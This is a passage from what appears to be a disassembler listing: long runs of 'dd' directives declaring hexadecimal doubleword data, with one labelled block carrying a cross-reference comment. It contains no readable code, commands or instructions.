5139F38h, 76D7CB4h, 0D98C40C8h dd 0EC9820C7h, 19FF4E7h, 0F3AEBC00h, 0CB61733h, 3C5E181Eh dd 0B40D4112h, 0A1C50F4h, 82129D3Fh, 7B4A3440h, 0FEF78Eh dd 0F3BB6B9Bh, 0FF13CF5Dh, 1D19800h, 8123F6B2h, 4948C08Eh dd 29A6679Ch, 6B4EAC04h, 6A4648BCh, 0ED0099ABh, 5D7079C4h dd 498B81h, 41609E6Dh, 2E20E1C8h, 3775F3B8h, 1DFB7400h dd 5256D87Eh, 0E68A0010h, 3033EADBh, 85098973h, 0D0E80Fh dd 97A41D21h, 6C1717F8h, 0B590E0AAh, 8803700h, 7E1A6D78h dd 1F86F6EDh, 0BA7B81h, 433A773Dh, 0BF006BEAh, 84FE41Dh dd 73F57Ch, 49A63218h, 75CD9DDAh, 9BCBCC00h, 7B2666F2h dd 9CDF1CF7h, 1A37C1F4h, 87F66CE3h, 0F89A6DA9h, 1E0890ACh dd 0D26930h, 0AA2E4153h, 5774CB5Bh, 98916600h, 76264559h dd 0DB1703ADh, 6A505FBAh, 0EDD8A800h, 0C2137F2Dh, 19E40015h dd 9B673DFCh, 0EB006E90h, 0E6D50304h, 306AD4Ah, 0F25D634Eh dd 3F8988E8h, 2E8B60B2h, 7654CE07h, 0F107DF4h, 0C0F53959h dd 0FA155E98h, 0FC00443Fh, 0EB376418h, 5A536Ch, 94E1546Dh dd 908B20CCh, 6B00FFE0h, 4D03793Eh, 74A0B7E2h, 1DD9304Ch dd 6DD13D20h, 1FE14800h, 7A6A31F4h, 0CF4E025Fh, 78A8D09Eh dd 0A090AE60h, 7688C000h, 82CE9D9Ah, 0FED40381h, 63E8230Bh dd 2E922000h, 45D26A76h, 72E000ADh, 0B4BC99Ah, 9E0082F1h dd 0CABA8ABEh, 7818B780h, 48A818FDh, 0D9A0A9CFh, 82FF8918h dd 0BA3530h, 0CFD65F69h, 0B2C5439Dh, 1403027Ch, 8E4F09D1h dd 303800A0h, 4888E340h, 0B70E0C75h, 865ABBDDh, 7720233Bh dd 96A60059h, 5C3D5D94h, 1E00822Bh, 9DE01830h, 0A003BD23h dd 8638102Ch, 0A908E3FEh, 645A3D46h, 57D04005h, 399CADh dd 0E65655E9h, 6F51DF3Eh, 0EC71AA0Ch, 0C0BC4E53h, 286E11E0h dd 0D300E1D2h, 32974950h, 2D69DAh, 0D984066Bh, 0EEFDA931h dd 16FC6300h, 5F0356B9h, 0EDE80Eh, 34AC8A54h, 2523B7FAh dd 0D07E0A00h, 0A2C29127h, 36C60008h, 35E18D0Bh, 0D87409AEh dd 0F2115100h, 0EC97EACAh, 0FC2302A0h, 0A8229131h, 606FFC61h dd 0C9E9A1FAh, 5C54F016h, 0CDF43C03h, 0C0AF1D2Fh, 1412950h dd 93DC4BCFh, 0D140ABDBh, 60B3E4F5h, 8A7D2F00h, 1A10E61Dh dd 8A8090Ch, 6B807CACh, 6218C7D4h, 52328609h, 0B6BD0022h dd 0B24CFBh, 34993967h, 6F6A3629h, 8559BE0Eh, 188F11h dd 513842DCh, 77992666h, 9423003Bh, 19B553C9h, 7847F80Ch dd 0E69E381Fh, 6DE40045h, 3F552D7Ah, 63E82B48h, 0BED421C0h dd 36E48Bh, 2C7A07A7h, 0AFBDE652h, 49EF590Ch, 306870ACh dd 5F898CCCh, 7403DBDCh, 0AF531405h, 0A018021Ah, 7BAC6719h dd 45233C80h, 2216D7Dh, 0A4BB8831h, 0A86BAB00h, 407DAh dd 0AC8CF2F3h, 1D1083FFh, 846269C0h, 0AD3839h, 24C67D7Eh dd 17055E15h, 6D7A4C00h, 7B88A8BDh, 0D5B90AA1h, 0A809660h dd 0DE481893h, 4B70BC00h, 0D78E707h, 4079EE4Ch, 930069A6h dd 0D6BD5C2Fh, 0FA397BCh, 3CFBF8Dh, 2D653D61h, 0F3988210h dd 7B1B487h, 55A8A0ECh, 4A803E9Ch, 1A2B0047h, 0DB47D6Bh dd 0DD748D61h, 0EC56BD28h, 80027478h, 54F79F23h, 4FCC607Dh dd 3F271A0Fh, 484A99Bh, 1A15C061h, 0FC005A21h, 7E53CA0Ah dd 6BF866h, 24C7032Eh, 1E58603Dh, 13152902h, 0E03E4089h dd 1CE2FB44h dd 40ADEF92h, 428C0ACFh, 0D0014BA9h, 79CE9A1Ch, 9DC0C059h dd 0A43F812h, 0FA900D0Eh, 0ADE307C5h, 0D8F940C8h, 33F80F86h dd 23033B00h, 264B7D7Ch, 678A0348h, 5E92AD41h, 0C6729AD8h dd 28B39001h, 362BCBDFh, 1D6EC0E4h, 0C33B4Dh, 0B38C373Ch dd 0CC008708h, 904F0CE7h, 0E90246h, 4A169F09h, 0AA74E03Bh dd 0EB03050Ch, 3C850C1h, 0C69E62C5h, 9878E264h, 48E07000h dd 0F57F68Ch, 2EBD00FBh, 4E72C413h, 5E00C5C9h, 7662A260h dd 0E410708h, 2128F87Ch, 0C1AC44CEh, 6F439A50h, 48A22C03h dd 33E4F2CAh, 0EA810E8Fh, 0C000B4E8h, 0A7732CD0h, 2072E300h dd 50CFA805h, 0EA9E0789h, 95BFF3C1h, 8090003Eh, 7349365Fh dd 55028CA4h, 822019CDh, 297218C5h, 77D4A80h, 91838BEAh dd 0A56C30FAh, 0A7079EDDh, 0D671E1C1h, 0D0F31F40h, 685800EBh dd 6AFE96C8h, 0DE98869Ch, 0EA674100h, 0C04DFC39h dword_4E414C dd 97C60028h, 9A3F44D1h, 2F01DE89h, 0DD091F65h, 0BEC8996Dh ; DATA XREF: ___:off_42DE44o dd 0CB41007Bh, 82F2193Bh, 6307AF69h, 0D108547Eh, 84B41CB1h dd 246DAE8h, 13E4F4DFh, 837D2616h, 0A0DC0F1Dh, 9895361Fh dd 0D67F035Eh, 0D2BC8B94h, 190855C0h, 9DBB013h, 0D0D303BFh dd 89A89F16h, 0B8008F57h, 5E3D3290h, 0CA8AE93h, 31566BB3h dd 2EFF9138h, 0D0E8D7F1h, 0A872003Bh, 0F3C8FB24h, 0AB000D8Dh dd 0E07B5FEDh, 5C22B3h, 8939E137h, 0D8A09EC1h, 0BBFBD61Fh dd 51609100h, 39A75A7Dh, 0A00B8E8h, 285FB746h, 0A5FA59D1h dd 265BE100h, 3BE2AFFCh, 1967A1Bh, 22D4CA07h, 0C4AC1D0Eh dd 0F901342Fh, 0F85C1C67h, 18839A60h, 8E698C23h, 0BF2DBAB1h dd 0DE862FB9h, 0E39E00B0h, 9867EFA0h, 243F400h, 0A88DE936h dd 68C80114h, 0FE167D15h, 604AD42Ch, 8004EC00h, 713E5E73h dd 0EBCF00ABh, 915AEECCh, 8AF2A2A5h, 2BA79B00h, 0B3A4F035h dd 9AEF06B5h, 18AE6E0Bh, 51257800h, 0D7F32715h, 16BE1EADh dd 0E31D0452h, 6F458042h, 306DF9Fh, 0B4E02F48h, 1EF621h dd 0F6288944h, 0FF920B9Ch, 21E450CCh, 534F3096h, 0F859B5B0h dd 2AAF5B00h, 0E151F0E9h, 39AB05E0h, 3EE0846h, 0D6329EADh dd 0F32E401Ch, 0F844D4BFh, 3B4C4204h, 0E7329D37h, 429F5821h dd 2198AD0h, 0D9332924h, 7DE03498h, 0B803C140h, 91D37099h dd 984DE3A3h, 6087B903h, 51754083h, 3605C879h, 7E02FF0Dh dd 743BC900h, 6052171Eh, 59892068h, 7300422Ah, 0AF9DBDCDh dd 0A0FDDE33h, 30BE5258h, 4710F1CEh, 5D00E3CCh, 0AC712153h dd 7C664905h, 72EE08h, 0A02BA917h, 0EE1014E2h, 94B5DD07h dd 0B450497Ch, 642EB0h, 62AD7AF4h, 5C697612h, 0F331DC01h dd 0D1F5C2EAh, 7B924F8h, 0AD7B0B6Dh, 3770A05Fh, 0BC7AFB6Ch dd 5332A01Eh, 9DFFD800h, 5046C1CEh, 3F8FE24h, 0E2858952h dd 0C9D12E39h, 0C573F0D3h, 0DC7C39h, 0CFA3FCBDh, 0E0A46C13h dd 5B20021Eh, 77896771h, 0A2BBF180h, 8100E8AEh, 75E7EAC8h dd 17CF14Bh, 0BAFCF91Fh, 0ECD8A685h, 22003990h, 6577BD4h dd 0FA114166h, 2C7AEDh, 8C5FFBB4h, 3FD5DB20h, 1F76B7F8h dd 63C8C200h, 4C15EA72h, 0F81B00A3h, 624612FCh, 3036E07h dd 0BD886398h, 0C975A894h, 0A2400E7h, 0DD3D8001h, 0C3A20743h dd 92C0B2C3h, 620039C5h, 881B9424h, 1E750F22h, 0C3B105D3h dd 0D1AD1766h, 36BEACB0h, 0F94D3F06h, 0D118516Dh, 76E00420h dd 757CCCC8h, 2E259500h, 4F035BDBh, 0AA7351h, 54A41147h dd 0E6FF6DC0h, 1C286101h, 355414Bh, 1404ADC7h, 5EC024F6h dd 6E737B6Eh, 0CAE4287Eh, 42E70852h, 17220F1Fh, 0DEFF2370h dd 1C845172h, 40C3A3DFh, 85E0736Dh, 93361C27h, 618C29B1h dd 0D3E828ADh, 0CFA0945Eh, 0B5A51914h, 0A08FB79h, 0CB517D62h dd 240D2177h, 0CD970084h, 0D07480AEh, 0F26A6788h, 0C81C0826h dd 33085311h, 0ECC98407h, 0E94305BAh, 0CDBF8C42h, 0C9EF0381h dd 0E65E5001h, 7E1F1911h, 0D4C064D9h, 0CFB2000Ch, 837468Ah dd 22013229h, 6583F3D7h, 228754FCh, 1099BE12h, 93EEC7B8h dd 0BB003674h, 368B75Fh, 39BED6CDh, 0F600ED91h, 0F2A3A1FAh dd 0E9E3BAFEh, 0AEE7F4C6h, 12A0E21Fh, 34EE2200h, 2C40D9h dd 0CF605C66h, 0F94B3CACh, 0F6CB0F00h, 93B8903Dh, 1640005h dd 5A704262h, 0DF02E8BEh, 0BAB26DBDh, 7FB9E013h, 46EB001Ah dd 1D06E1FFh, 0B1724070h, 0AB48D916h, 853E6600h, 311E29h dd 0DADFE463h, 0CB9B7088h, 17D01C1Eh, 1692F840h, 0F006B46Dh dd 1773Fh, 8C366EDBh, 18C73B8Eh, 130041F4h, 0F0F970A2h dd 0C0ADDFh, 0FFE4240Fh, 0A58547Fh, 9A44D713h, 13553041h dd 0B48FB6B2h, 562019C2h, 71AE36B0h, 74E9C700h, 0A340CCCEh dd 997C00D4h, 0B89F31D9h, 417FA53Fh, 8149E260h, 0B076455Ch dd 0C2E900D0h, 1F6350FEh, 5D00716Bh, 978431B9h, 0A5EBE1h dd 14FDC93Ch, 2B8F5520h, 830013F8h, 53244731h, 0E35EC2h dd 0EA578A36h, 46387537h, 26ED6600h, 91AC7CD1h, 4EB600BAh dd 24E907D4h, 1F00D082h, 846B357Ah, 4C987Fh, 0AE5694F7h dd 93A15423h, 958F960Eh, 0CCB8E09Ch, 0C61D1Ah, 3EFE2F85h dd 0E13DF3A5h, 26B0E470h, 9BE8E200h, 0F5490182h, 902C00BDh dd 64B42EFFh, 0B9034566h, 67957D8Bh, 0B843D075h, 0EBB2C058h dd 0D42F94AAh, 0ADD1A000h, 0F1D96A7Ah, 6D6C0033h, 2BC4A28Ch dd 2A0724BBh, 231B96A0h, 26F7CCE0h, 0ABE501AFh, 5CB74BF5h dd 37DAF00Eh, 0C525B412h, 416EAA00h, 11728Eh, 530EDC7Bh dd 27968839h, 0D1259400h, 24D2792Dh, 0A7330056h, 0A56BD564h dd 0F303E655h, 755DAB95h, 0DBF2B874h, 0F7BB8B4h, 8725018Bh dd 1ECB4861h, 8EFC605Fh, 0A0496600h, 1DBC9FF4h, 17CD00CAh dd 0B9FD3805h, 5200D6F2h, 7D950E0Fh, 0ED54BE3h, 0CDBE7F2Dh dd 0AA7AF120h, 0AE06530Ah, 0C650C3B7h, 0C70F3918h, 58062600h dd 3CC9D96h, 0C5EFF70Fh, 4183A164h, 24244B6Dh, 92B7003Fh dd 0A5687F05h, 0B9004DEEh, 7E1EF5Fh, 78F6C24h, 464AAE81h dd 3B7DA04Ch, 49009283h, 269D85E2h, 586270D2h, 0F5094999h dd 805D2480h, 0CAFB9895h, 5407007Ah, 89CCC0E6h, 0B00F303h dd 0D1B5ABDCh, 5FE4924h, 19565340h, 0DBB60033h, 329A6B52h dd 55E48B00h, 2136F112h, 0C4C000Dh, 130E6310h, 0DA00AB1Ah dd 0BB59D29Fh, 4AF996h, 10E2BE51h, 6B6647D0h, 0FB00E1E4h dd 0D737981h, 0F60A90A4h, 7D3700DBh, 0C7DDA912h, 0F3014C7Bh dd 0E28E8F5Ch, 0E0C0E807h, 88F10001h, 785234F5h, 0C400BF4Dh dd 251B55FFh, 0E59920h, 0A965A61Fh, 94A4245Ch, 0F854C23Fh dd 41428400h, 5331FEFFh, 144D0157h, 0D448D2ACh, 0BA51FC6Eh dd 0E5EFB400h, 9B56235h, 581101BEh, 8ED0D20Dh, 29C5FC1Eh dd 400AF4F0h, 0CC0893A8h, 5CB87E00h, 7F3C7C2h, 0EA371463h dd 0BBCE0092h, 0F77998D5h, 4D15852Eh, 17B96B01h, 40E0EDC5h dd 397D0097h, 4CEBB318h, 0BC009C51h, 0DC0F5889h, 314A1DA5h dd 0C6DAA86Dh, 609DFC6Ah, 44A13FEBh, 0F8C220h, 0E44B9580h dd 29185785h, 9D3DFF03h, 0C0C87B06h, 7FDD2CC4h, 0CC4300E1h dd 4DA012E4h, 0A0FFDC2h, 2FF004B4h, 3C4CC059h, 5E62C96h dd 7C2701D5h, 0CD37804Ah, 0FB002258h, 0CA0C4599h, 3E17A587h dd 6B048223h, 0C0130B43h, 6508F4D4h, 0B90024B8h, 4830FF69h dd 4352B8h, 0E0CBA39Ah, 1FBA2E0Ch, 453CE200h, 4A6729Ch dd 0EAEF0047h, 0D9411CC0h, 0F01FD012h, 1DC07B52h, 0A0229E92h dd 3C907Eh, 860F42DFh, 0A6B5B26h, 0D309E877h, 43401Bh dd 49CF6CF8h, 6D1700F4h, 0DD87D7A5h, 0A8009720h, 550827F9h dd 0F1027Bh, 7AC4A409h, 0F7D7547Ch, 0DE95F000h, 107F3A99h dd 0B99200F4h, 70BEA064h, 6012DCF2h, 0C703D988h, 0E91D0F54h dd 1F212AD2h, 59B6C0CBh, 35950033h, 8925D09Ah, 0C00DF9Fh dd 535BAE7Dh, 7528241h, 0F46CBA5Dh, 0CBD220FFh, 0F6018544h dd 4C99EA8Bh, 0A070ABD0h, 55890067h, 0FD1C91BCh, 0D7075226h dd 41816474h, 1B9D24E0h, 1A623CBAh, 0B338C180h, 0B666254Dh dd 681C8230h, 7399823h, 24E7E5CCh, 2C15C088h, 972EDB3Dh dd 9300D47Ah, 0DCAFB08Ch, 6FEB003Ah, 220FC67Fh, 88001683h dd 692F63D1h, 0EEC55707h, 9CEA0012h, 8533CE64h, 3C019937h dd 9016953Dh, 44D8265Eh, 0DE55000Dh, 0B268C4B7h, 0B11E7B7Eh dd 3C4104FDh, 7DD00EB8h dd 98E45070h, 0DD0D00CCh, 0E720E9ACh, 1200BAFFh, 5777B9D1h dd 18C8804h, 7CF8A03h, 0D472544Dh, 0A900B58Dh, 0DDED08EBh dd 0C962B4h, 0C1E01C31h, 0F01E3B69h, 5B909800h, 11392C9Dh dd 0D7DE0028h, 0AB7D78DFh, 7A0EB0F8h, 606F7BC0h, 0E5286A96h dd 0A59E004Bh, 0F56C8F19h, 0D6002F3Fh, 9C13F2DFh, 7A84A410h dd 15FAC9h, 23397408h, 0F6F3E057h, 2E684400h, 0D5DB2E4h dd 0AEB300FDh, 5915A6E5h, 4000599h, 87E97C01h, 30890Bh dd 3B19ECE7h, 538679FDh, 6A1C4302h, 0E035CD0Fh, 2E340EC1h dd 0C0E6CCh, 0C42FCB02h, 7A006287h, 0DCA9E930h, 84967Bh dd 3149E8DAh, 8CCA3B6Bh, 80DED33Dh, 1769D272h, 308409Eh dd 0BD02A4B8h, 90485171h, 0E974049Dh, 0C4C7D368h, 32D52881h dd 7A82C0h, 6E49936Bh, 0D31B1CF9h, 9A7BA00h, 0C57673Dh dd 6FCE02C3h, 52BB120Ah, 977A35E0h, 1FE0C200h, 29A4A281h dd 7ED0F8C0h, 0BF0E1214h, 0DA300E8Dh, 6A7903E0h, 461FD253h dd 8B43831Fh, 0C3D0E90Fh, 0B1E1B8F4h, 0B08F7656h, 0A0F700E7h dd 0EAE8C0B6h, 0C90063D2h, 0CB5BA771h, 36E2AECh, 19BD785h dd 6E0C661h, 5C00F830h, 9847A92Bh, 4A237B25h, 0E7FC4Bh dd 0B3DFFB5Dh, 71E9D778h, 0D232023Fh, 3C74F879h, 0A1E6C060h dd 0ED186F00h, 9005A820h, 8E303E7h, 38D5A95Eh, 0FAEF29F8h dd 9CB7E503h, 90C76BDAh, 0EE1D2158h, 0D30B3FE7h, 0F25DDB80h dd 0AD6047C1h, 24BDB200h, 0AF3377E5h, 0F8D20C8Eh, 6B48415Dh dd 6134C800h, 0FFFB45F1h, 7CEEEE5Ch, 65D30094h, 0FCB99E20h dd 0DA13A944h, 5400226Fh, 0A0792BC5h, 5AE20E2Ah, 48615677h dd 0F0111AD6h, 0BF000F88h, 8980C424h, 123495E5h, 90C809h dd 5042783Dh, 0E6034504h, 27995781h, 28A000DFh, 0C8CA0D79h dd 3200F6D6h, 2541EF9Bh, 3DCCE4Eh, 239E6A99h, 0C0E0722Dh dd 0B3002B20h, 8BBEA3DDh, 0B0DCDB9Fh, 0D22D0068h, 8566CF30h dd 9A07AB6Eh, 0F3574662h, 0D1DA6F01h, 5C2CE06Bh, 37432503h dd 9030B0FFh, 3DCDE36h, 0B77B21B4h, 0A28710C1h, 34E08B61h dd 0F0133518h, 0F402ACD9h, 680C8A26h, 74C0318h, 1898E574h dd 0F0B4B06Ah, 3200593Dh, 35B047B5h, 99E31C8h, 0EA175104h dd 68221F89h, 0F0008F21h, 3B1A39FCh, 809C2E5Dh, 5ADD809Ah dd 0E862675h, 0BF9F6800h, 620A42FDh, 0B667005Dh, 0B7E2D53Fh dd 0DE004156h, 0F5953729h, 1F0EE0h, 5F4BEC87h, 4251B116h dd 58936503h, 0AC11766Dh, 895A4080h, 269F7440h, 4B637DDh dd 801E5E57h, 1D452690h, 608AFD00h, 4B2A24EAh, 9EC80EB0h dd 0D4607B56h, 0BDB99F72h, 0F0660D01h, 68B20299h, 6EC1F0h dd 0CD016C79h, 0F59DBE69h, 867F640Eh, 2524E0FCh, 314BBC3h dd 95D51EC0h, 0D0F83B3Dh, 65140509h, 2C8377F9h, 790020C3h dd 0FA4AEE4h, 20B8008Ah, 1511896Ah, 0BD009CEEh, 2F691B57h dd 0FDEF3Ch, 0D7682228h, 7EBECFF0h, 80252A00h, 0AD7C6332h dd 0A0DD00E4h, 73F8E837h, 0F3590C1Bh, 0CB1577C8h, 2A4D2F2h dd 71A403B4h, 61684057h, 13C400EAh, 0AC3BA515h, 1CF2E02Ah dd 3938900h, 3A499B70h, 0EE840079h, 0F2812DD6h, 0E216C592h dd 0CC0BBF2Bh, 78608797h, 0B394833Bh, 8044B3C3h, 5C3B51AFh dd 0C5071E02h, 34524h, 0C45A636Eh, 0DFD88F0Eh, 436C60C1h dd 16FA4666h, 15AC2Dh, 0B3EF7B00h, 8F2E0436h, 7801D912h dd 8652D126h, 0D49C0h, 0B0482322h, 61303D1Eh, 310078B8h dd 0CF576C99h, 0E5F01F9h, 7E984943h, 3B664CDFh, 0BB002B42h dd 0EE91086Fh, 1FE56A36h, 11A57ADh, 0CE12D4CFh, 0B632FCBFh dd 799BB200h, 0FAD6CCF5h, 5B9312C1h, 9B846296h, 0B6B7D460h dd 0B0853400h, 8BD3BC26h, 3E9101F0h, 984F1EF3h, 0A55C6073h dd 18A9AF00h, 96B17980h, 162E036Eh, 12B4B026h, 0EAE1ADA8h dd 0A4694D0Eh, 351F00D1h, 3FC7B02h, 7F07F01h, 97983C8Eh dd 2F0E93B3h, 0E9E3B661h, 13F8856Ah, 1923ACD0h, 954200C8h dd 85CAB14Ch, 0F90F729Bh, 0B214BEh, 58F866DFh, 0D11F07BBh dd 7EDEB04Ah, 704B8C60h, 0E07AD8Fh, 7D34903Fh, 0E3D86E30h dd 4CA003Ch, 31EC10A8h, 0AC002B07h, 681D9693h, 3C63C5E7h dd 6B809F6Dh, 47557466h, 81F3184h, 0E1C0BD7Eh, 83DF110Bh dd 0EC120368h, 347C33A4h, 27615FA0h, 65068F1Eh, 19ABC00h dd 1C8DE054h, 80EEB82Bh, 0DA69CC4Ah, 0CB007480h, 4DC8E932h dd 3842E68Ch, 110C8FD1h, 0D628BEABh, 3C48C007h, 1570CA0Eh dd 5BFF1h, 2E87418Ah, 0E16B9089h, 8B66ED1Eh, 8C0AD592h dd 3F00B9BCh, 0C84F8424h, 523200ECh, 4C8A07A5h, 610B6D19h dd 807F21CAh, 112E59A4h, 0B337371h, 0C58F0D7Eh, 2A8EA400h dd 9503E6D9h, 0AF5234F3h, 0C27FC059h, 0F4074EFh, 514C308Fh dd 0F130256Ch, 161DF000h, 0C05BD49Fh, 0C5AB0087h, 0DBDAFEE8h dd 6C009656h, 8F883E48h, 30DCBD2h, 0F51A9EAEh, 11D899D6h dd 9B1EFAF6h, 0D140045Dh, 215F838h, 0EC324C97h, 2EE62A18h dd 0ED0378C9h, 0F78884B3h, 4F12C8B1h, 76F5A0B8h, 1F34008Fh dd 5B3D6446h, 18B0DDDCh, 33E57D07h, 2970C5F9h, 0FF6E9h dd 0ED36C266h, 8E1DC3A0h, 90306505h, 0B0909BFBh, 42C3115h dd 0CAE39AC5h, 7C448038h, 561CCEAEh, 0D040D875h, 7D9CD68Ah dd 0F2690086h, 31D26117h, 271E3F2Bh, 67418BFAh, 25A8BD1Ah dd 8CB54080h, 42EB04E3h, 8DF2CA00h, 0F060B10Eh, 2D5D1C57h dd 0EC2B80D3h, 13B51771h, 9F1FC001h, 0D6065439h, 0FA259030h dd 69471F1h, 0DFC86568h, 9AB01AE8h, 5243BE00h, 18AE8D09h dd 958B06Ch, 0D0A32A31h, 0C66E0C00h, 0E60092B7h, 1EF485CFh dd 0E0E4A0BCh, 0DB0F3C7Eh, 630E5A80h, 8AA1BA3Dh, 0C604730Eh dd 49C02093h, 1F1325A0h, 0CF7B9B36h, 1918F845h, 0B200E48Bh dd 0A5D1AAB7h, 7CF344DFh, 0D4EEB5h, 0AE67A645h, 8AEE8925h dd 0F2136A01h, 2DD98BE2h, 69A3E0D3h, 154E0017h, 0C1BB0F6Dh dd 80019FCDh, 0DFAEC254h, 42FC9D6Fh, 83E601F5h, 79FE2FCBh dd 197D3033h, 95A4D50Eh, 0AC3A025h, 1D99D8E5h, 8BE8479Ch dd 0B90061FAh, 0C8DFF1B7h, 345A4414h, 0F9743AC4h, 46D25207h dd 7A00A590h, 17B6BFE5h, 0D6671Fh, 0DC3F9E8h, 5400C02Bh dd 619967Fh, 39DC2956h, 66381875h, 26ED3E83h, 8B89524h dd 0DE00398Fh, 325E5DD2h, 0D4D5D3h, 8A7044C2h, 52E7DD71h dd 73D738h, 4C1959EBh, 1D880E9Bh, 0C13D5704h, 0B041A5FDh dd 1DCC3C99h, 1600D5B5h, 0B0F5474h, 8330032h, 0BB03FF29h dd 0B300EEECh, 5C476B77h, 0E1EC192h, 6323F8EDh, 74F220A2h dd 7AE8BCE3h, 50008E2Ah, 186727D8h, 0EC29B8D1h, 28C986Ch dd 0F83B9D5Eh, 30631476h, 250896B0h, 66D46313h, 0FB571C81h dd 0A12560h, 1D4BFD01h, 5FBAB5A3h, 86009B98h, 8E1C9E5Eh dd 14768A1h, 930846D1h, 0DD271D71h, 0D7C7E019h, 3056503Fh dd 0C134CCFFh, 0D026005Ah, 0A7586F02h, 327FB47Fh, 0C668DE00h dd 0A863F79Bh, 1F650060h, 43834C94h, 0C5033306h, 77E44FC1h dd 3E4E98B3h, 4647025Fh, 1D08D76Eh, 986ACF60h, 0CB7F4902h dd 0E0075560h, 36D6224h, 58103279h, 9EB875AEh, 2900DAEAh dd 0CD1A82FDh, 1EF787F0h, 553AE5h, 61375734h, 3B019E49h dd 7E47E689h, 4BE4DA4Ch, 22B60046h, 0DFDB1D4Dh, 0A70062AEh dd 2C380326h, 24F02F13h, 87BCCE27h, 0E06522CBh, 2B894AB6h dd 0BC4575Ch, 18954501h dd 0F8BE4BCh, 5BF08D5Ch, 93FE5841h, 44B88938h, 0F096FFh dd 9378C4FCh, 0B1E8BEF1h, 4C80B58h, 1536A181h, 56760580h dd 640A00C2h, 0E5190859h, 39000227h, 0B70EE455h, 0EA054049h dd 4908Eh, 0D7A63CCCh, 41372EEAh, 860980Ch, 1B6918Bh, 0AD175084h dd 64576DC3h, 530042CCh, 41D62064h, 9A4BA260h, 122002Ch dd 0E98330FFh, 9400DCADh, 12CC24BEh, 0C0D1FCh, 0C81C6057h dd 75A6208Ch, 48454B00h, 0D19D5F7Fh, 0DEB30064h, 6E915C86h dd 0E7027A88h, 71BD078Bh, 17ABE04Fh, 0EE9E00E6h, 0F79DC0EAh dd 0BF002A2Eh, 7EC6D36Dh, 8C79A4h, 0E2D23463h, 8331965Dh dd 163E5C4Ch, 0AD1DD71Dh, 0F0CDD80h, 1D14C875h, 9EFDAD72h dd 77EA44F8h, 7548E71Ch, 0F1C7C900h, 270C38DEh, 14CE07EDh dd 0E01D2826h, 0E66BAD15h, 0EE0DDF01h, 0AE033F71h, 542FCCh dd 6358AA2h, 5BB7708Bh, 8DBA5700h, 4D11A8A5h, 0AF4002Bh dd 99B53702h, 0E700D14Ch, 7006F8B6h, 1CCE78E6h, 8E6D6B4Fh dd 3DC0E939h, 831F0929h, 0D0725A0Eh, 76CCC00Dh, 79B8EC6h dd 0CB955755h, 3E802BAAh, 9480C1E9h, 25FA5F00h, 0C4EAB302h dd 0F81C00C7h, 0EF3813A5h, 9400B814h, 9E06AF54h, 76C691h dd 0B7273EA6h, 4218F55Dh, 0B8996CA0h, 0BF796F00h, 0B7078162h dd 0C56D0054h, 4C836A8Fh, 55003E32h, 782C85ABh, 1DCF128h dd 98947DECh, 60EE910Ch, 7E779BC3h, 1F6B026h, 13CED300h dd 4CDE3E59h, 0D20011DAh, 97F54333h, 0D6031D54h, 0E8865DADh dd 118180FAh, 18FB2EBFh, 0C0761DE8h, 2F80A49h, 710027D6h dd 1DA1D09Dh, 0A7E793h, 1AAA372Bh, 24D79A67h, 0DF222A00h dd 3D03B5F0h, 17BD1216h, 5A370001h, 3E24E543h, 4C58EF1Ch dd 0BDD8F781h, 0A2706691h, 577000B4h, 7F4DEE6h, 2700D224h dd 0E08FDCD0h, 1DB918F7h, 0C0349C74h, 3D637F5h, 66073ECBh dd 85B5C20h, 80A9BDE2h, 0F62891A8h, 46F0009Ah, 4981FCD1h dd 0A800A674h, 1A127A3Fh, 9D5C4Ch, 963752E6h, 0B2080AB9h dd 0AF2C0500h, 4BE5BB5Eh, 0B66901FEh, 48DEF95h, 8EFC5273h dd 0DDBF1AC0h, 62157200h, 0C0A8B447h, 0E12800FDh, 3C7FF176h dd 3100A62Ch, 0B7F0589Ch, 48F5051Fh, 0F9033F24h, 791D497h dd 0BD484CB7h, 0A42EAAF6h, 741F1061h, 7A54FB00h, 9B49BEh dd 2F3B123Eh, 0D0AB738Ch, 0E80F2971h, 0A03C53E2h, 0B91BC0ACh dd 0E4600077h, 157AFCC6h, 5C268D25h, 8C006CEDh, 723F347Dh dd 0ECADF276h, 777679h, 0AA09BAE1h, 0E7BED065h, 93682F00h dd 3B38FC60h, 0B0EC3812h, 32CC780h, 8A309743h, 0C87629F6h dd 0D09A861Eh, 0A068BE8Eh, 2CA22255h, 2673005Dh, 844CC16Bh dd 0AA78C098h, 3A588B00h, 91ADC770h, 0B8E307CBh, 80E58EF0h dd 444996AFh, 73204300h, 0FFB72117h, 3B331C0Ah, 943640FDh dd 32F9DC07h, 1AEB2E00h, 7072DF64h, 4ABC0087h, 44233CA4h dd 0AC394E7Eh, 0FAA1147Fh, 0C78400FCh, 0BA64ABAFh, 0E14D03CBh dd 0F7E5A8C4h, 0E42CA6D9h, 3C000D16h, 0B4D3C1E8h, 0C5F38h dd 9032BC2Ah, 0BE43DDFBh, 36A04800h, 933949B1h, 7DBB00C2h dd 3EC6AE72h, 0AD0E85D9h, 0DD633D84h, 0ABB1E740h, 0E7CCD9Eh dd 2053CE31h, 2D8B0422h, 0D2C85CE0h, 0BA77837Fh, 0FA252400h dd 7C313CF5h, 0E7E8F7h, 0FDC87215h, 0D92DD4F8h, 0EB009AF8h dd 0ECA2826Ah, 1C0EC2B5h, 406113ADh, 4627F957h, 391C40D5h dd 38C07AF6h, 0CA809A7h, 5999022h, 0DE63D714h, 0ED7F834Ah dd 0CE26ECB0h, 0B701B000h, 919B68F4h, 82D0006Ah, 6B62B244h dd 3F0098FEh, 0D9D12A9Ah, 0CC83A5h, 0DD17D8E2h, 0A1C2D66Ah dd 43B07B00h, 5C1438A7h, 0F3E00EA2h, 0BA403CE6h, 9142367Eh dd 9A727700h, 0C70DCE9Bh, 649601FAh, 0E0EFD112h, 7BAF099h dd 5FDD200Ch, 0D210E4h, 0C037FB44h, 0AF98B6F4h, 929EF21Ch dd 0E525CC40h, 0ADF45C6h, 0F0E16C08h, 873307B0h, 6207B377h dd 0CFC264A8h, 99DF7905h, 0DE80A84Ah, 0F2A4ADA7h, 49932465h dd 2A6E0304h, 0C0ACDD3Ah, 35754E4Dh, 0D12F0801h, 0ED5412D6h dd 0DD4D2A80h, 2AE29D18h, 1D308B00h, 17FADE2Eh, 27210E8Fh dd 7C804191h, 5F4398F3h, 8D0AC8F2h, 0FC7B81D0h, 9D7B500h dd 0FF8CBAh, 0C16F82A9h, 0E2874A33h, 12170501h, 1E08DB4Ch dd 0D0508BE1h, 0B852D6h, 44076C59h, 652C539Bh, 115CEE07h dd 8DF0F046h, 126A10B7h, 22313Bh, 0AFECF4AEh, 0E80F697Bh dd 548ABF6Dh, 